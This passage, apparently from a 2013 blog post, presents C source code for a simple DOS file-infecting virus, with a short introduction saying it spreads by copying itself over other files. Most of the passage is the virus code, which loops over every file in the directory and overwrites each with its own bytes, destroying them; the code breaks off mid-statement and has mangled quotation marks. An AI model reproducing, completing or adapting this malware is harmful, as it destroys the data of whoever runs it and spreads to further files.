THIS PROGRAM IS AN EXAMPLE OF HOW TO CREATE A VIRUS IN C. THIS PROGRAM DEMONSTRATES A SIMPLE VIRUS PROGRAM WHICH UPON EXECUTION (RUNNING) CREATES A COPY OF ITSELF IN THE OTHER FILE. THUS IT DESTROYS OTHER FILES BY INFECTING THEM. BUT THE VIRUS INFECTION FILE IS ALSO CAPABLE OF SPREADING THE INFECTION TO ANOTHER FILE AND SO ON. HERE'S THE SOURCE CODE OF THE VIRUS PROGRAM. #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %sn”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x
Posts
Showing posts from February 16, 2013